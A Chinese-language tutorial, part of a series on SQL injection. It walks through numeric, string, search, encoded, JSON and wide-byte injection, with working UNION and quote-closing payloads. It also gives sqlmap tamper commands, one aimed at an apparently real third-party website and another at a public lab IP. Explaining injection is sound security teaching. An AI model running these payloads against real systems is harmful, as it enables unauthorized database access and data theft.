WEB攻防-通用漏洞-SQL注入(四)
SQL注入类型
SQL根据接收数据方式的不同,可以分为数字型注入、字符型注入、搜索型注入、编码型注入,不同的注入方式涉及的注入语句虽然区别不大,但是如果不加以区分,就会导致手注失败,甚至可能会判定为没有注入点,我们拿到一个站点的第一步就是应该先测出属于哪种类型的注入,下面我们介绍一下注入类型
数字型
数字型就是我们前几次介绍的最多的,也是我们比较常见的注入类型之一,为什么叫数字型,是因为我们传进去的参数后端会把其当作数字,其注入语句如下
$sql = "select * from guestbook where id = $i"; |
即我们不需要单引号也能正常运行,所以对于数字型注入点,我们不需要加引号,不用考虑符号的闭合
假设我们传进去的注入语句为1 order by 2
,传入sql就会变为$sql = "select * from guestbook where id = 1 order by 2";
,即我们不需要加任何符号进行闭合,也不需要在尾部增加注释符就可以完成注入
字符型
字符型遇到的也比较多,sql语句如下所示
$sql = "select * from guestbook where id = '$i'"; |
当然,值得注意的是,字符型的注入既可以是单引号也可以用双引号,我们这里使用单引号进行演示
仍然假定我们的注入语句为1 order by 2
,我们替换$i
,看看会出现什么
$sql = "select * from guestbook where id = '1 order by 2'"; |
我们可以发现我们的注入语句被当作了字符串进行处理,此时就会报错,我们正常的做法应该是闭合前面一个单引号,注释掉后面的单引号,所以注入语句应该是1' order by 2 #
或者1' order by 2 --+
,我们的组合注入语句就会变成:
$sql = "select * from guestbook where id = '1' order by 2 #'"; |
这个时候我们可以发现此时的注入语句可以正常实现
http://127.0.0.1:8081/web/news.php?gtpl=simple' UNION ALL SELECT 1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 --+ |
搜索型
搜索型的主要特征就是具有通配符%%
,因为有通配符的存在,所以我们需要闭合通配符和单引号,其实原理和字符型差不多,重在理解
$sql="select * from guestbook where gName like '%$s%'"; |
所以我们的注入语句如下所示
http://127.0.0.1:8081/web/news.php?search=演示%' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 --+ |
这个时候我们带入后端sql语句,就会是下面的样子
$sql="select * from guestbook where gName like '%演示%' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--+%'"; |
这样看似好像已经没有任何问题了,但是实际结果如下所示
后面实际上是闭合不了的,真实的sql语句应该是这样的
SQL语句:http://127.0.0.1:8081/web/news.php?search=演示%' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 and '%'=' |
这样我们就可以正确运行了
编码型
顾名思义,就是对传入的sql语句进行编码后再进行传入后端,后端再进行解码后查询数据库,对应的后端代码如下所示
$b=base64_decode($_GET['base']); |
因此,面对这种的解决方案也很简单,就是直接将注入语句进行相应的编码后再进行注入即可
JSON格式
JSON就是将数据以键名和键值的方式进行传输,提交的数据其实是一样的
{"username":"admin"} |
值得注意的是,json数据格式并不会将双引号传递进去,而是将双引号的内容取出来进行传入,所以我们并不需要闭合这个双引号,所以我们只需要忽略这个双引号构造注入语句即可
json={"username":"admin' order by 3#"} |
宽字节注入
如果一个字符的大小是一个字节,这种字节称为窄字节;如果一个字符的大小是两个字节的话,就是宽字节
- 像GB2312、GBK、GB18030、BIG5等等这些编码都是常说的宽字节,也就是只有两个字节
- 英文默认占一个字节,中文占两个字节
为了防止网站被SQL注入,一些网站开发人员会做一些防护措施,其中最常见的就是对一些特殊字符进行转义,即用\
来进行转义,通过前面的文章可以了解到,sql注入的关键一步就是让引号闭合和跳出引号,如果无法跳出引号,那么你输入的内容就会永远的在引号里,那么你的输入内容永远会被当作字符串进行处理,所以我们应该怎么解决呢?
办法就是让转义符号\
失去转义的作用,我们可以使用宽字节来使转义符失效,我们常见的宽字节符号为%df
,由于\
的编码是%5c
,这两个组合在一起就变成了%df%5c
,组成了一个新的字符,这个字符是一个汉字,这个时候我们引号的意义就存在了
我们以sqli-lab上的例题33为例,进行相关演示
我们可以很清楚的知道这是一个宽字节注入问题,我们添加%df
很好,宽字节起作用了,而且明显是一个单引号的字符型注入,然后接下来按照正常的步骤一直注入就行了,其他的就不再演示了
sqlmap之tamper使用
对于编码注入的网站,如果直接拿去sqlmap跑,会出现找不到注入点的情况,比如执行python310 sqlmap.py -u "http://knotsolutions.com/case_study_view.php?id="
,会出现下面的情况
这个时候就需要用到tamper脚本,附加上base64encode.py脚本,这个脚本是sqlmap自带的,当然我们也可以将自己编写的脚本放在这个目录下
我们执行python310 sqlmap.py -u "http://knotsolutions.com/case_study_view.php?id=" --tamper=base64encode.py
,命令,就可以找到注入点,如下图所示
我们使用相关脚本来实现宽字节注入,如下所示
python sqlmap.py -u "http://38.147.173.118:81/Less-33/?id=1" --tamper=unmagicquotes.py |